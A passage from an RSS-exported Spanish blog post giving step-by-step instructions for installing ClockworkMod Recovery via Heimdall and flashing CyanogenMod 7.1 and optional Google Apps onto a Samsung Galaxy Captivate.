<li>Heimdall Suite 1.1.1 (Win32) &#8211; <a href="http://db.tt/yptsoIfA">descarga aquí</a></li>
<li>GoogleApps <span style="font-size: x-smallpx;"><em>(Opcional)</em></span> &#8211; <a href="http://cmw.22aaf3.com/gapps/gapps-gb-20110828-signed.zip">descarga aquí</a></li>
<li>Tener el móvil con un mínimo de 60% de batería.</li>
</ul>
<h3><strong>Proceso de actualización</strong></h3>
<p><span style="color: #ff4500;"><strong>ADVERTENCIA</strong></span>:<strong> Se debe de realizar una copia de seguridad (backup) de toda la información y contenido del móvil, ya que posiblemente al realizar este procedimiento se pueden perder toda la información y contenido del teléfono.</strong></p>
<p>El primer paso que se debe realizar es, obviamente, descargar los archivos anteriormente mencionados. Antes de continuar, el archivo <strong>update-cm-7.1.0-Captivate-signed.zip</strong> se debe meter en la raíz de la SD.</p>
<p>&nbsp;</p>
<h4><strong>• Instalando la ClockworkMod Recovery</strong></h4>
<p><strong>PROCEDIMIENTO</strong></p>
<p>• Se extrae el contenido del archivo <strong>heimdall-suite-1.1.1-win32.zip</strong>.</p>
<p>• Se apaga el móvil y se pone en <strong>Modo Download</strong>, para hacer esto, se presiona la tecla de <strong>Volumen +</strong> y <strong>Volumen -</strong>, posteriormente, mientras están presionados estos botones, se conecta el cable USB. Va a aparecer lo siguiente:</p>
<p><a href="http://www.daw-labs.com/wp-content/uploads/2012/03/IMG_0803.jpg"><img class="aligncenter size-full wp-image-1610" title="Modo Download" src="http://www.daw-labs.com/wp-content/uploads/2012/03/IMG_0803.jpg" alt="" width="351" height="389" /></a></p>
<p>&nbsp;</p>
<p>• Se ejecuta la aplicación <strong>zadig.exe</strong> que se encuentra en la carpeta Drivers del Heimdall Suite. Posteriormente se selecciona en el menú <strong>Options &gt;&gt; List All Devices</strong> y para finalizar se busca <strong>Samsung USB Composite Device</strong> o <strong>Gadget Serial</strong>.</p>
<p><a href="http://www.daw-labs.com/wp-content/uploads/2012/03/Zadig.png"><img class="aligncenter size-full wp-image-1624" title="Zadig" src="http://www.daw-labs.com/wp-content/uploads/2012/03/Zadig.png" alt="" width="626" height="265" /></a></p>
<p>&nbsp;</p>
<p>Clic en &#8220;<strong>Install Driver</strong>&#8220;.</p>
<p>Una vez terminado este proceso, se abre el archivo <strong>heimdall-frontend.exe</strong>.</p>
<p>• Se descomprime el archivo <strong>SpeedMod-Kernel-i897.tar</strong> lo cual nos deja el archivo <strong>zImage</strong>.</p>
<p><a href="http://www.daw-labs.com/wp-content/uploads/2012/03/Heimdall.png"><img class="aligncenter size-full wp-image-1625" title="Heimdall" src="http://www.daw-labs.com/wp-content/uploads/2012/03/Heimdall.png" alt="" width="918" height="561" /></a></p>
<p>&nbsp;</p>
<p>Se da clic en <strong>Browse</strong> ( Kernel (zImage) ), se selecciona el archivo anterior y se procede a dar clic en <strong>Start</strong>.</p>
<p>Una vez terminado esto, ya queda instalado la <strong>ClockworkMod Recovery</strong></p>
<p>&nbsp;</p>
<h4><strong>• Flasheando CyanogenMod</strong></h4>
<p><strong>PROCEDIMIENTO</strong></p>
<p>• Primero que todo, hay que tener el .zip de CyanogenMod en la raíz de la SD.</p>
<p>• Se entra en modo Recovery, esto se hace apagando el teléfono, posteriormente se presionan el botón de <strong>Volumen +</strong> y <strong>Volumen -</strong> y pasados unos segudos, el botón de encendido.</p>
<p>• Una vez dentro de ClockworkMod Recovery, mediante los botones de volumen, se selecciona la opción <strong>Install zip from sdcard</strong></p>
<p><span style="font-size: x-smallpx;"><span style="color: #ff4500;"><strong>NOTA:</strong></span> En algunos casos, antes de realizar este paso se hace un <strong>Wipe data/factory reset</strong> y un <strong>Wipe cache partition.</strong>.</span></p>
<p>&nbsp;</p>
<p>Ahora se selecciona la opción <strong>Choose zip from sdcard</strong> y se busca el .zip correspondiente al update de CyanogenMod.</p>
<p>• Se espera un rato a que todo se instale correctamente. Luego se reinicia (tarda un poco en hacerlo) y ¡Eureka! Ya queda nuestro móvil con CyanogenMod 7.</p>
<p><a href="http://www.daw-labs.com/wp-content/uploads/2012/03/2012-03-10-14.49.48.png"><img class="aligncenter size-full wp-image-1627" title="HomeScreen Cyanogen" src="http://www.daw-labs.com/wp-content/uploads/2012/03/2012-03-10-14.49.48.png" alt="" width="480" height="800" /></a></p>
<p><a href="http://www.daw-labs.com/wp-content/uploads/2012/03/screenshot-1332015536866.png"><img class="aligncenter size-full wp-image-1626" title="CyanogenMod en Captivate" src="http://www.daw-labs.com/wp-content/uploads/2012/03/screenshot-1332015536866.png" alt="" width="480" height="800" /></a></p>
<p>&nbsp;</p>
<p><strong>INSTALACIÓN OPCIONAL (GoogleApps)</strong></p>
<p>• Se inserta en la raíz SD el archivo <strong>gapps-gb-20110828-signed.zip</strong>.</p>
<p>• Se inicia el teléfono en modo Recovery y se selecciona la opción <strong>Install zip from sdcard</strong>, luego mediante <strong>Choose zip from sdcard</strong> buscamos el archivo zip de Gapps correspondiente, esperamos unos momentos y ¡Listo!</p>
<p><strong>Vídeo demostrativo</strong> <span style="font-size: x-smallpx;"><em>(Gracias a MobileTechVideos)</em></span></p>
<p>Un pequeño vídeo que expone más fácilmente este proceso. En él usando Odin3 (el cual también es recomendado) pero realmente es en esencia el mismo procedimiento.</p>
<p><iframe src="http://www.youtube.com/embed/iBPu-GqM9RE" frameborder="0" width="560" height="315"></iframe></p>
<p>Cualquier duda, no duden en escribirla.</p>
<p>Saludos.,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.daw-labs.com/guia-completa-para-samsung-galaxy-captivate-actualizar-a-cyanogenmod-7-1/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic page generated in 1.186 seconds. -->
<!-- Cached page generated by WP-Super-Cache on 2012-05-19 17:25:44 -->

